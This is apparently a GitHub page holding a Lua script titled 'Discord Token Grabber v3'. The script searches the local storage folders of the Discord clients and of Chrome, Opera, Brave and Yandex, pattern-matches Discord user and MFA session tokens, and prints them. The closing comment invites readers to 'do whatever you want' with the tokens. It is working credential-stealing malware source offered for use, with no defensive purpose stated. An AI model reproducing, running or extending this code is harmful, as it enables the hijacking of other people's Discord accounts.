-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathOLD Discord Token Grabber.lua
83 lines (66 loc) · 2.42 KB
/
OLD Discord Token Grabber.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
-- Discord Token Grabber v3 Script by HexaG0n
-- This will only grab the tokens,
-- It will not send it to any webhook.
-- 27/7/2021
function getDiscordTokens(path)
local function listDir(path)
return io.popen('dir "'..path..'" /b'):read('*a'):sub(1, -2)
end
local function getToken(path)
-- Reads the .ldb files in hexadecimal bytes
local read = io.open(path, 'rb'):read('*a'):gsub('.', function(c)
return string.format('%02X', c:byte()) end)
local tokens = ''
-- Matches user token
for tok in read:gmatch('22'..('%w'):rep(48)..'2E'..('%w'):rep(12)..'2E'..('%w'):rep(54)..'22') do
if tok ~= nil then
tok = tok:gsub('..', function(c)
return string.char(tonumber(c, 16)) end):sub(2, -2)
tokens = tokens..tok..'\n'
end
end
-- Matches mfa token
for mfa in read:gmatch('226D66612E'..('%w'):rep(168)..'22') do
if mfa ~= nil then
mfa = mfa:gsub('..', function(c)
return string.char(tonumber(c, 16)) end):sub(2, -2)
tokens = tokens..mfa..'\n'
end
end
if tokens ~= nil or tokens ~= '' then
return tokens
end
end
local path = path..'\\Local Storage\\leveldb\\'
local files = listDir(path)
local tokens = ''
if files ~= '' then
for file in files:gmatch('[^\r\n]+') do
if file:find('.ldb') ~= nil then
tokens = tokens..getToken(path..file)
end
end
return tokens:sub(1, -2)
end
end
-- Main
LocalAppData = os.getenv('localappdata')
Roaming = os.getenv('appdata')
Tokens = ''
PATH = {
['Discord'] = Roaming..'\\Discord',
['Discord Canary'] = Roaming..'\\discordcanary',
['Discord PTB'] = Roaming..'\\discordptb',
['Google Chrome'] = LocalAppData..'\\Google\\Chrome\\User Data\\Default',
['Opera'] = Roaming..'\\Opera Software\\Opera Stable',
['Brave'] = LocalAppData..'\\BraveSoftware\\Brave-Browser\\User Data\\Default',
['Yandex'] = LocalAppData..'\\Yandex\\YandexBrowser\\User Data\\Default'
}
for i,v in pairs(PATH) do
if getDiscordTokens(v) ~= nil then
Tokens = Tokens..getDiscordTokens(v)..'\n'
end
end
Tokens = Tokens:sub(1, -2)
print(Tokens)
-- Do whatever you want with Tokens